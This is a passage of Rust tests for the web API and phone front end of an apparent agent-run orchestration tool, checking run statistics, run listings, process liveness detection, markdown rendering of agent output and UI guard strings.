10517        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10518
10519        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10520        assert_eq!(bumps["merged"], 1);
10521        assert_eq!(bumps["recorded"], 0);
10522        // `merged` is nonzero, so coverage still reads as a real 0%, not an
10523        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
10524        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10525        // `pr_opened` and `recorded` are both zero here, so these rates have
10526        // no denominator to compute from and must be null.
10527        assert_eq!(bumps["automerge_rate"], Value::Null);
10528        assert_eq!(bumps["attention_rate"], Value::Null);
10529    }
10530
10531    #[tokio::test]
10532    async fn stats_queue_counts_come_from_the_live_queue() {
10533        let f = Fixture::start().await;
10534        let q = f.queue();
10535        let mut queued = Task::new(
10536            "queued task".to_owned(),
10537            "do it".to_owned(),
10538            PathBuf::from("/repo"),
10539            Source::Human,
10540        );
10541        q.put(&mut queued).expect("put queued");
10542        let mut held = Task::new(
10543            "held task".to_owned(),
10544            "do it later".to_owned(),
10545            PathBuf::from("/repo"),
10546            Source::Human,
10547        );
10548        held.hold_machine(Some("out of attempts".to_owned()));
10549        q.put(&mut held).expect("put held");
10550
10551        let queue = f.get("/api/stats").await.json()["queue"].clone();
10552        assert_eq!(queue["queued"], 1);
10553        assert_eq!(queue["held"], 1);
10554        assert_eq!(queue["running"], 0);
10555        assert_eq!(queue["done"], 0);
10556        assert_eq!(queue["failed"], 0);
10557        assert_eq!(queue["blocked"], 0);
10558    }
10559
10560    #[tokio::test]
10561    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10562        let f = Fixture::start().await;
10563        let stats = f.get("/api/stats").await;
10564        assert_eq!(stats.status, 200);
10565        assert_eq!(stats.json()["totals"]["runs"], 0);
10566        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10567        assert_eq!(stats.json()["runs_unreadable"], 0);
10568        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10569        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10570        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10571        assert_eq!(stats.json()["repo"], Value::Null);
10572    }
10573
10574    #[tokio::test]
10575    async fn stats_lists_every_repository_with_runs_recorded() {
10576        let f = Fixture::start().await;
10577        write_run_repo(
10578            &f.runs(),
10579            "20260902-140501-a",
10580            RunStatus::Merged,
10581            "/repos/a",
10582        );
10583        write_run_repo(
10584            &f.runs(),
10585            "20260902-140502-b",
10586            RunStatus::Merged,
10587            "/repos/a",
10588        );
10589        write_run_repo(
10590            &f.runs(),
10591            "20260902-140503-c",
10592            RunStatus::Blocked,
10593            "/repos/b",
10594        );
10595
10596        let stats = f.get("/api/stats").await;
10597        assert_eq!(stats.status, 200);
10598        // Unfiltered - the aggregate across both repositories.
10599        assert_eq!(stats.json()["totals"]["runs"], 3);
10600        assert_eq!(stats.json()["repo"], Value::Null);
10601
10602        let repos = stats.json()["repos"].clone();
10603        let repos = repos.as_array().unwrap();
10604        assert_eq!(repos.len(), 2);
10605        // Busiest (2 runs) first.
10606        assert_eq!(repos[0]["repo"], "/repos/a");
10607        assert_eq!(repos[0]["name"], "a");
10608        assert_eq!(repos[0]["runs"], 2);
10609        assert_eq!(repos[1]["repo"], "/repos/b");
10610        assert_eq!(repos[1]["runs"], 1);
10611    }
10612
10613    #[tokio::test]
10614    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10615        let f = Fixture::start().await;
10616        write_run_repo(
10617            &f.runs(),
10618            "20260902-140501-a",
10619            RunStatus::Merged,
10620            "/repos/a",
10621        );
10622        write_run_repo(
10623            &f.runs(),
10624            "20260902-140502-b",
10625            RunStatus::Blocked,
10626            "/repos/b",
10627        );
10628
10629        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10630        assert_eq!(stats.status, 200);
10631        assert_eq!(stats.json()["totals"]["runs"], 1);
10632        assert_eq!(stats.json()["totals"]["merged"], 1);
10633        assert_eq!(stats.json()["repo"], "/repos/a");
10634        // The repository list itself is unaffected by the filter - it is
10635        // what a client switches repositories from.
10636        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10637        // runs_unreadable is a whole-workload count, never scoped to the
10638        // selected repository - see StatsView::runs_unreadable's own doc.
10639        assert_eq!(stats.json()["runs_unreadable"], 0);
10640    }
10641
10642    #[tokio::test]
10643    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10644        let f = Fixture::start().await;
10645        write_run_repo(
10646            &f.runs(),
10647            "20260902-140501-a",
10648            RunStatus::Merged,
10649            "/repos/a",
10650        );
10651
10652        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10653        assert_eq!(stats.status, 404);
10654    }
10655
10656    #[tokio::test]
10657    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10658        let f = Fixture::start().await;
10659        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10660
10661        let summary = f.get("/api/runs").await.json();
10662        let row = &summary[0];
10663        assert_eq!(row["short"], "a1b2");
10664        assert_eq!(row["status"], "ready");
10665        assert_eq!(row["done"], true);
10666        assert_eq!(row["title"], "Add a web UI");
10667        assert_eq!(row["repo_name"], "magi");
10668        assert_eq!(row["judges"], 3);
10669        assert_eq!(row["winner"], Value::Null);
10670        assert_eq!(row["reviews"], 0);
10671
10672        // The short id resolves, and the detail route is the state itself, not
10673        // a projection of it: the UI reads fields the summary does not carry.
10674        let detail = f.get("/api/runs/a1b2").await;
10675        assert_eq!(detail.status, 200);
10676        assert_eq!(detail.json()["base_branch"], "main");
10677        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10678    }
10679
10680    /// `status: "ready"` alone cannot tell a run still headed for a landing
10681    /// (a PR closed without merging, say) apart from one `[merge] mode =
10682    /// "none"` left unmerged for good — the confusion the operator flagged
10683    /// after the CLI report already grew a `not landed — nothing to do by
10684    /// design` line for exactly this case (`report.rs`). Both the list route
10685    /// and the detail route must carry a flag the phone can key on instead of
10686    /// re-deriving it from `status` + `merge.mode` itself.
10687    #[tokio::test]
10688    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10689        let f = Fixture::start().await;
10690
10691        let mut none_run = RunState::new(
10692            PathBuf::from("/repo/magi"),
10693            "main".to_owned(),
10694            "0123456789abcdef".to_owned(),
10695            "Add a web UI".to_owned(),
10696            Config::default(),
10697        );
10698        none_run.id = "20260902-140503-none".to_owned();
10699        none_run.status = RunStatus::Ready;
10700        none_run.merge = Some(crate::run::MergeOutcome {
10701            mode: crate::config::MergeMode::None,
10702            ok: true,
10703            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10704            empty: false,
10705        });
10706        write_state(&f.runs(), &none_run);
10707
10708        let mut pr_run = RunState::new(
10709            PathBuf::from("/repo/magi"),
10710            "main".to_owned(),
10711            "0123456789abcdef".to_owned(),
10712            "Add a web UI".to_owned(),
10713            Config::default(),
10714        );
10715        pr_run.id = "20260902-140504-prcl".to_owned();
10716        pr_run.status = RunStatus::Ready;
10717        pr_run.merge = Some(crate::run::MergeOutcome {
10718            mode: crate::config::MergeMode::Pr,
10719            ok: false,
10720            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10721            empty: false,
10722        });
10723        write_state(&f.runs(), &pr_run);
10724
10725        let summary = f.get("/api/runs").await.json();
10726        let rows: std::collections::HashMap<&str, &Value> = summary
10727            .as_array()
10728            .expect("an array")
10729            .iter()
10730            .map(|r| (r["id"].as_str().expect("an id"), r))
10731            .collect();
10732        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10733        assert_eq!(
10734            rows[none_run.id.as_str()]["unmerged_by_design"],
10735            true,
10736            "a mode-none Ready must be flagged in the list"
10737        );
10738        assert_eq!(
10739            rows[pr_run.id.as_str()]["unmerged_by_design"],
10740            false,
10741            "a Ready reached by a closed pull request is a different case"
10742        );
10743
10744        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10745        assert_eq!(none_detail["status"], "ready");
10746        assert_eq!(none_detail["unmerged_by_design"], true);
10747
10748        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10749        assert_eq!(pr_detail["unmerged_by_design"], false);
10750    }
10751
10752    /// `RunState::active` is only ever cleared by whoever populated it, so the
10753    /// detail route also has to say whether a daemon is actually still
10754    /// driving this run right now — otherwise a seat from a killed process's
10755    /// last wave would read as live forever.
10756    #[tokio::test]
10757    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10758        let f = Fixture::start().await;
10759        // Matches `write_daemon`'s hard-coded `current.run`, so the second
10760        // half of this test can claim the daemon is working on it without a
10761        // second helper.
10762        let id = "20260902-140502-bbbb";
10763        let mut state = RunState::new(
10764            PathBuf::from("/repo/magi"),
10765            "main".to_owned(),
10766            "0123456789abcdef".to_owned(),
10767            "Add a web UI".to_owned(),
10768            Config::default(),
10769        );
10770        state.id = id.to_owned();
10771        state.status = RunStatus::Judging;
10772        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10773        let dir = f.runs().join(id);
10774        std::fs::create_dir_all(&dir).expect("run dir");
10775        std::fs::write(
10776            dir.join("run.json"),
10777            serde_json::to_string_pretty(&state).expect("serialize run"),
10778        )
10779        .expect("write run.json");
10780
10781        // No daemon.json at all, and no `driver_pid` recorded either (this
10782        // state was written directly, never through `execute()`): there is
10783        // nothing to confirm either way, so the route must say `"unknown"` —
10784        // never `"dead"`, which is exactly the false diagnosis a manual `magi
10785        // run` used to get from this route before `driver_pid` existed.
10786        let cold = f.get(&format!("/api/runs/{id}")).await.json();
10787        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10788        assert_eq!(cold["live"], "unknown", "{cold}");
10789
10790        // A fresh heartbeat naming exactly this run: the same entry now reads
10791        // as confirmed, not merely recorded.
10792        write_daemon(f.home.path(), Timestamp::now());
10793        let warm = f.get(&format!("/api/runs/{id}")).await.json();
10794        assert_eq!(warm["live"], "live", "{warm}");
10795    }
10796
10797    /// Where a run came from is shown, and a run written before origins were
10798    /// recorded (schema 12, no `origin` key) stays readable and says so.
10799    #[tokio::test]
10800    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10801        let f = Fixture::start().await;
10802        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10803            let mut state = RunState::new(
10804                PathBuf::from("/repo/magi"),
10805                "main".to_owned(),
10806                "0123456789abcdef".to_owned(),
10807                "Add a web UI".to_owned(),
10808                Config::default(),
10809            );
10810            state.id = id.to_owned();
10811            state.origin = origin;
10812            let mut value = serde_json::to_value(&state).expect("serialize run");
10813            if let Some(schema) = schema {
10814                value["schema"] = serde_json::json!(schema);
10815                value.as_object_mut().unwrap().remove("origin");
10816            }
10817            let dir = f.runs().join(id);
10818            std::fs::create_dir_all(&dir).expect("run dir");
10819            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10820        };
10821        write(
10822            "20260930-092817-ec34",
10823            Some(crate::run::Origin::from_agent_env(
10824                Some(("4a7b".to_owned(), "chat".to_owned())),
10825                None,
10826            )),
10827            None,
10828        );
10829        write("20260930-092817-0ld1", None, Some(12));
10830
10831        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10832        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10833        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10834
10835        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10836        assert_eq!(
10837            old["origin_label"], "origin unknown (started before origins were recorded)",
10838            "{old}"
10839        );
10840        assert!(old["origin"].is_null(), "{old}");
10841
10842        let list = f.get("/api/runs").await.json();
10843        let labels: Vec<_> = list
10844            .as_array()
10845            .unwrap()
10846            .iter()
10847            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10848            .collect();
10849        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10850    }
10851
10852    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
10853    /// review` claims no daemon at all, so before this field existed the
10854    /// route above read it as `"dead"` — indistinguishable from a run a
10855    /// killed process abandoned — the whole time it was genuinely still
10856    /// answering. With a live pid recorded, it must read `"live"` even
10857    /// though no daemon claims it.
10858    #[tokio::test]
10859    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10860        let f = Fixture::start().await;
10861        let id = "20260922-090000-cccc";
10862        let mut state = RunState::new(
10863            PathBuf::from("/repo/magi"),
10864            "main".to_owned(),
10865            "0123456789abcdef".to_owned(),
10866            "Review only".to_owned(),
10867            Config::default(),
10868        );
10869        state.id = id.to_owned();
10870        state.status = RunStatus::Reviewing;
10871        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10872        // This test process's own pid: guaranteed alive, and never needs a
10873        // real daemon or a second process to prove it. The matching start-time
10874        // marker is what `liveness` now requires alongside a live pid — see
10875        // `RunState::driver_started_at`'s own doc for why the pid alone is
10876        // not enough.
10877        state.driver_pid = Some(std::process::id());
10878        state.driver_started_at = Some(
10879            crate::proc::process_started_at(std::process::id())
10880                .expect("this test process's own start time must be queryable"),
10881        );
10882        let dir = f.runs().join(id);
10883        std::fs::create_dir_all(&dir).expect("run dir");
10884        std::fs::write(
10885            dir.join("run.json"),
10886            serde_json::to_string_pretty(&state).expect("serialize run"),
10887        )
10888        .expect("write run.json");
10889
10890        let detail = f.get(&format!("/api/runs/{id}")).await.json();
10891        assert_eq!(detail["live"], "live", "{detail}");
10892    }
10893
10894    /// A killed manual run's pid can be handed to a wholly unrelated later
10895    /// process — a live query on `driver_pid` alone would read this as
10896    /// `"live"`, exactly the false positive `driver_started_at` exists to
10897    /// catch (see that field's own doc, and `RunState::liveness_with`'s
10898    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
10899    #[tokio::test]
10900    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10901        let f = Fixture::start().await;
10902        let id = "20260922-090100-dddd";
10903        let mut state = RunState::new(
10904            PathBuf::from("/repo/magi"),
10905            "main".to_owned(),
10906            "0123456789abcdef".to_owned(),
10907            "Review only".to_owned(),
10908            Config::default(),
10909        );
10910        state.id = id.to_owned();
10911        state.status = RunStatus::Reviewing;
10912        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10913        // This test process's own pid really is alive, but the marker
10914        // recorded here does not match what it actually started at —
10915        // standing in for the pid having since been reused by a different
10916        // process than the one that wrote `run.json`.
10917        state.driver_pid = Some(std::process::id());
10918        state.driver_started_at = Some("1".to_owned());
10919        let dir = f.runs().join(id);
10920        std::fs::create_dir_all(&dir).expect("run dir");
10921        std::fs::write(
10922            dir.join("run.json"),
10923            serde_json::to_string_pretty(&state).expect("serialize run"),
10924        )
10925        .expect("write run.json");
10926
10927        let detail = f.get(&format!("/api/runs/{id}")).await.json();
10928        assert_eq!(detail["live"], "dead", "{detail}");
10929    }
10930
10931    /// The deck's competition list is normally the first place an operator
10932    /// sees an old run. It must carry the same process verdict as detail, or
10933    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
10934    #[test]
10935    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
10936        let mk = |id: &str, pid: Option<u32>| {
10937            let mut s = RunState::new(
10938                PathBuf::from("/repo/magi"),
10939                "main".to_owned(),
10940                "0123456789abcdef".to_owned(),
10941                "Add a web UI".to_owned(),
10942                Config::default(),
10943            );
10944            s.id = id.to_owned();
10945            s.driver_pid = pid;
10946            s.driver_started_at = Some("1790000000".to_owned());
10947            s
10948        };
10949        let states = vec![
10950            mk("20260902-140502-aaaa", Some(77)),
10951            mk("20260902-140502-bbbb", Some(77)),
10952            mk("20260902-140502-cccc", Some(77)),
10953            mk("20260902-140502-dddd", None),
10954        ];
10955        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
10956        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
10957        let sup: HashMap<String, String> = [(
10958            "20260902-140502-aaaa".to_owned(),
10959            "20260902-140502-cccc".to_owned(),
10960        )]
10961        .into();
10962
10963        let status_calls = std::cell::Cell::new(0);
10964        let identity_calls = std::cell::Cell::new(0);
10965        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
10966            |_| {
10967                status_calls.set(status_calls.get() + 1);
10968                Some(true)
10969            },
10970            |_| {
10971                identity_calls.set(identity_calls.get() + 1);
10972                Some("1790000000".to_owned())
10973            },
10974        ));
10975        let rows = summarize(
10976            states,
10977            &open,
10978            &claimed,
10979            &sup,
10980            |p| probe.borrow_mut().status(p),
10981            |p| probe.borrow_mut().started_at(p),
10982        );
10983
10984        assert_eq!(status_calls.get(), 1, "one pid, one status query");
10985        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
10986        assert_eq!(rows.len(), 4);
10987        assert!(!rows[0].waiting && rows[1].waiting);
10988        assert_eq!(rows[0].live, crate::run::Liveness::Live);
10989        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
10990        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
10991        assert_eq!(rows[1].superseded_by, None);
10992    }
10993
10994    #[test]
10995    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
10996        let mut state = RunState::new(
10997            PathBuf::from("/repo/magi"),
10998            "main".to_owned(),
10999            "0123456789abcdef".to_owned(),
11000            "Review only".to_owned(),
11001            Config::default(),
11002        );
11003        state.id = "20260922-090200-dead".to_owned();
11004        state.status = RunStatus::Reviewing;
11005        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11006            .expect("serialize list row");
11007        assert_eq!(row["status"], "reviewing");
11008        assert_eq!(row["live"], "dead", "{row}");
11009        assert!(!row["done"].as_bool().unwrap());
11010    }
11011
11012    #[tokio::test]
11013    async fn the_run_list_is_newest_first_and_honours_a_limit() {
11014        let f = Fixture::start().await;
11015        for id in [
11016            "20260902-140501-aaaa",
11017            "20260902-140502-bbbb",
11018            "20260902-140503-cccc",
11019        ] {
11020            write_run(&f.runs(), id, RunStatus::Merged);
11021        }
11022
11023        let all = f.get("/api/runs").await.json();
11024        let capped = f.get("/api/runs?limit=2").await.json();
11025
11026        assert_eq!(all[0]["id"], "20260902-140503-cccc");
11027        assert_eq!(all.as_array().map(Vec::len), Some(3));
11028        assert_eq!(capped.as_array().map(Vec::len), Some(2));
11029        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11030    }
11031
11032    #[tokio::test]
11033    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11034        let f = Fixture::start().await;
11035        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11036
11037        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11038
11039        assert_eq!(res.status, 200);
11040        assert!(
11041            res.headers
11042                .contains("content-type: text/plain; charset=utf-8"),
11043            "a browser must render it, not download it: {}",
11044            res.headers
11045        );
11046        // The assertion is on content, not on the absence of escapes: colour
11047        // is a process-global that `serve` turns off at startup, and another
11048        // test in this binary may own it while this one runs.
11049        assert!(
11050            res.body.contains("20260902-140501-a1b2"),
11051            "the report is about the run that was asked for: {}",
11052            res.body
11053        );
11054    }
11055
11056    #[tokio::test]
11057    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11058        let f = Fixture::start().await;
11059
11060        let html = f.get("/").await;
11061        let css = f.get("/app.css").await;
11062        let js = f.get("/app.js").await;
11063
11064        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11065        assert!(
11066            html.headers
11067                .contains("content-type: text/html; charset=utf-8")
11068        );
11069        assert!(css.headers.contains("content-type: text/css"));
11070        assert!(js.headers.contains("content-type: text/javascript"));
11071        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11072    }
11073
11074    #[test]
11075    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11076        let body = |name: &str| {
11077            let at = APP_JS
11078                .find(name)
11079                .unwrap_or_else(|| panic!("{name} missing"));
11080            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11081        };
11082        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11083        let note = body("function landRoundNote");
11084        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11085        assert!(note.contains("Land round ${round}"));
11086        let land = body("function renderLand");
11087        let note_at = land
11088            .find("landRoundNote(pr)")
11089            .expect("renderLand uses the note");
11090        assert!(
11091            note_at
11092                < land
11093                    .find("roundRail(pr)")
11094                    .expect("renderLand uses the rail")
11095        );
11096    }
11097
11098    #[test]
11099    fn the_runs_page_redesign_keeps_its_guards() {
11100        let body = |name: &str| {
11101            let at = APP_JS
11102                .find(name)
11103                .unwrap_or_else(|| panic!("{name} missing"));
11104            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11105        };
11106        // A null child must never reach the native append (it prints "null").
11107        let land = body("function renderLand");
11108        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11109        assert!(
11110            !land.contains("box.append("),
11111            "renderLand must use append()"
11112        );
11113        assert!(land.contains("append(box, ["));
11114        // Tabs are hash routes; the run id alone decides a reload.
11115        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11116        assert!(
11117            body("function applyRoute")
11118                .contains("route.name !== state.route.name || route.id !== state.route.id")
11119        );
11120        // The decorative diagram is gone, the strip and its guards stay.
11121        assert!(!APP_JS.contains("adviseConvergeDiagram"));
11122        assert!(!INDEX_HTML.contains("advise-converge"));
11123        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11124        assert!(APP_JS.contains("provisional"));
11125        for id in [
11126            "run-tab-overview",
11127            "run-tab-timeline",
11128            "run-tab-report",
11129            "run-report",
11130            "runs-scope",
11131        ] {
11132            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11133        }
11134        assert!(!INDEX_HTML.contains("runs-tree"));
11135        assert!(!INDEX_HTML.contains("run-raw-panel"));
11136        // Fold still says it cannot be resumed.
11137        assert!(APP_JS.contains("resume"));
11138        // The unreadable-runs count stays on the page.
11139        assert!(APP_JS.contains("unreadable"));
11140    }
11141
11142    #[test]
11143    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11144        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11145        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11146        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
11147        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11148        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11149        // The subtitle still counts them whatever the banner does.
11150        assert!(APP_JS.contains("unreadable` : null"));
11151    }
11152
11153    #[test]
11154    fn the_run_detail_payload_says_whether_the_run_is_done() {
11155        // `landView` reads `run.done`; the detail response must carry it.
11156        for (status, done) in [
11157            (RunStatus::Superseded, true),
11158            (RunStatus::Blocked, true),
11159            (RunStatus::Landing, false),
11160        ] {
11161            let mut state = RunState::new(
11162                std::path::PathBuf::from("/repo"),
11163                "main".to_owned(),
11164                "abc".to_owned(),
11165                "x".to_owned(),
11166                crate::config::Config::default(),
11167            );
11168            state.status = status;
11169            let v = serde_json::to_value(RunDetailView::of(
11170                state,
11171                crate::run::Liveness::Unknown,
11172                None,
11173                None,
11174                None,
11175            ))
11176            .unwrap();
11177            assert_eq!(v["done"], done, "{status:?}");
11178        }
11179    }
11180
11181    /// The first node of a markdown block holds a `strong` somewhere.
11182    fn has_strong(nodes: &[md::Node]) -> bool {
11183        serde_json::to_string(nodes).unwrap().contains("strong")
11184    }
11185
11186    #[test]
11187    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11188        let mut state = RunState::new(
11189            std::path::PathBuf::from("/repo"),
11190            "main".to_owned(),
11191            "abc".to_owned(),
11192            "x".to_owned(),
11193            crate::config::Config::default(),
11194        );
11195        let proposal = |approach: &str| {
11196            serde_json::json!({
11197                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11198            })
11199        };
11200        state.advice = Some(
11201            serde_json::from_value(serde_json::json!({
11202                "records": [
11203                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11204                     "proposal": proposal("do **this**")},
11205                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11206                ],
11207                "synthesis": "- one\n- **two**\n\n`code`",
11208            }))
11209            .unwrap(),
11210        );
11211        state.candidates = serde_json::from_value(serde_json::json!([
11212            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11213             "summary": "did **it**"},
11214            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11215        ]))
11216        .unwrap();
11217        // Recorded in ascending severity, the reverse of how the page sorts
11218        // them: the arrays must follow the record, not the display.
11219        state.reviews = serde_json::from_value(serde_json::json!([{
11220            "round": 1, "head": "h",
11221            "reviews": [{
11222                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11223                "findings": [
11224                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
11225                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11226                ],
11227            }],
11228            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11229            "fix": {"agent": "a", "notes": "fixed **it**",
11230                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11231        }, {"round": 2, "head": "h2", "reviews": []}]))
11232        .unwrap();
11233
11234        let v = serde_json::to_value(RunDetailView::of(
11235            state,
11236            crate::run::Liveness::Unknown,
11237            None,
11238            None,
11239            None,
11240        ))
11241        .unwrap();
11242
11243        let strong = |p: &str| {
11244            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11245            assert!(n.to_string().contains("strong"), "{p}: {n}");
11246        };
11247        strong("/advice_md/synthesis");
11248        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11249        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11250        strong("/advice_md/approaches/0");
11251        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11252        strong("/candidate_summaries_md/0");
11253        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11254        strong("/reviews_md/0/reviewers/0/summary");
11255        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11256        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11257        assert!(f[1].to_string().contains("strong"));
11258        strong("/reviews_md/0/reconsideration/0");
11259        strong("/reviews_md/0/fix/notes");
11260        strong("/reviews_md/0/fix/rejected/0");
11261        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11262        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11263        // The raw strings stay, and no schema moved.
11264        assert_eq!(v["candidates"][0]["summary"], "did **it**");
11265        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11266    }
11267
11268    #[test]
11269    fn a_run_without_advice_has_no_advice_md() {
11270        let state = RunState::new(
11271            std::path::PathBuf::from("/repo"),
11272            "main".to_owned(),
11273            "abc".to_owned(),
11274            "x".to_owned(),
11275            crate::config::Config::default(),
11276        );
11277        let p = run_prose_md(&state);
11278        assert!(p.advice_md.is_none());
11279        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11280    }
11281
11282    #[test]
11283    fn a_question_view_carries_markdown_for_each_thread_turn() {
11284        let home = TempDir::new().unwrap();
11285        let store = ask::Questions::at(home.path().join("questions"));
11286        let mut q = Question::new(
11287            "run".to_owned(),
11288            "implement".to_owned(),
11289            "impl-A".to_owned(),
11290            "which?".to_owned(),
11291            String::new(),
11292            Vec::new(),
11293        );
11294        q.say("plain words").unwrap();
11295        q.reply("use **this**", Vec::new()).unwrap();
11296        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11297        let bodies = &v["thread_bodies_md"];
11298        assert_eq!(bodies.as_array().unwrap().len(), 2);
11299        assert!(!bodies[0].to_string().contains("strong"));
11300        assert!(bodies[1].to_string().contains("strong"));
11301    }
11302
11303    #[test]
11304    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11305        // The land panel defers to `run.status` for merged, and labels a
11306        // recorded-open PR on any finished run (superseded, blocked, ...) as
11307        // last seen, never as live state.
11308        assert!(APP_JS.contains("function landView(run, raw) {"));
11309        assert!(
11310            APP_JS.contains(
11311                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11312            )
11313        );
11314        assert!(APP_JS.contains("const pr = landView(run, raw);"));
11315        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11316        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11317        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11318    }
11319
11320    #[test]
11321    fn live_runs_are_never_hidden_or_folded_as_superseded() {
11322        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
11323        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11324        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11325        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11326    }
11327
11328    #[test]
11329    fn review_rounds_label_a_distinct_verified_head() {
11330        assert!(APP_JS.contains("round.verified_head"));
11331        assert!(APP_JS.contains("verified HEAD"));
11332        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11333    }
11334
11335    #[test]
11336    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11337        // A blocked task's chip and note must not fall back to a queued-like
11338        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
11339        // itself by e11fc58 but never checked here.
11340        assert!(APP_JS.contains("blocked: { glyph:"));
